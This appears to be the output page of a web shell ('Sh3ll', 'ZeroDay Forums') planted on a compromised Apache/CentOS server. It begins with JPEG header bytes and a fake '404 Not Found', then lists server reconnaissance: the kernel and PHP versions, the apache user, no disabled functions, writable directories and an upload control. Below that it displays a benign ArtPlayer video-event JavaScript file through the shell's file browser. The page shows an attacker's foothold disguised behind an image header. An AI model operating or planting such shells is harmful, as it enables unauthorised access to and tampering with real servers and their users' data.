����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/video/layout/js/node_modules/artplayer/src/player/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/video/layout/js/node_modules/artplayer/src/player/eventInit.js
import config from '../config';
import { sleep, addClass, setStyle, isMobile } from '../utils';

export default function eventInit(art) {
    const {
        i18n,
        notice,
        option,
        constructor,
        proxy,
        template: { $player, $video, $poster },
    } = art;

    let reconnectTime = 0;

    for (let index = 0; index < config.events.length; index++) {
        proxy($video, config.events[index], (event) => {
            art.emit(`video:${event.type}`, event);
        });
    }

    // art.on('video:abort', () => {

    // });

    art.on('video:canplay', () => {
        reconnectTime = 0;
        art.loading.show = false;
    });

    art.once('video:canplay', () => {
        art.loading.show = false;
        art.controls.show = true;
        art.mask.show = true;
        art.isReady = true;
        art.emit('ready');
    });

    // art.on('video:canplaythrough', () => {

    // });

    // art.on('video:durationchange', () => {

    // });

    // art.on('video:emptied', () => {

    // });

    art.on('video:ended', () => {
        if (option.loop) {
            art.seek = 0;
            art.play();
            art.controls.show = false;
            art.mask.show = false;
        } else {
            art.controls.show = true;
            art.mask.show = true;
        }
    });

    art.on('video:error', async (error) => {
        if (reconnectTime < constructor.RECONNECT_TIME_MAX) {
            await sleep(constructor.RECONNECT_SLEEP_TIME);
            reconnectTime += 1;
            art.url = option.url;
            notice.show = `${i18n.get('Reconnect')}: ${reconnectTime}`;
            art.emit('error', error, reconnectTime);
        } else {
            art.mask.show = true;
            art.loading.show = false;
            art.controls.show = true;
            addClass($player, 'art-error');
            await sleep(constructor.RECONNECT_SLEEP_TIME);
            notice.show = i18n.get('Video Load Failed');
        }
    });

    // art.on('video:loadeddata', () => {

    // });

    art.on('video:loadedmetadata', () => {
        art.emit('resize');
        if (isMobile) {
            art.loading.show = false;
            art.controls.show = true;
            art.mask.show = true;
        }
    });

    art.on('video:loadstart', () => {
        art.loading.show = true;
        art.mask.show = false;
        art.controls.show = true;
    });

    art.on('video:pause', () => {
        art.controls.show = true;
        art.mask.show = true;
    });

    art.on('video:play', () => {
        art.mask.show = false;
        setStyle($poster, 'display', 'none');
    });

    art.on('video:playing', () => {
        art.mask.show = false;
    });

    art.on('video:progress', () => {
        if (art.playing) {
            art.loading.show = false;
        }
    });

    // art.on('video:ratechange', () => {

    // });

    art.on('video:seeked', () => {
        art.loading.show = false;
        art.mask.show = true;
    });

    art.on('video:seeking', () => {
        art.loading.show = true;
        art.mask.show = false;
    });

    // art.on('video:stalled', () => {

    // });

    // art.on('video:suspend', () => {

    // });

    art.on('video:timeupdate', () => {
        art.mask.show = false;
    });

    // art.on('video:volumechange', () => {

    // });

    art.on('video:waiting', () => {
        art.loading.show = true;
        art.mask.show = false;
    });
}

ZeroDay Forums Mini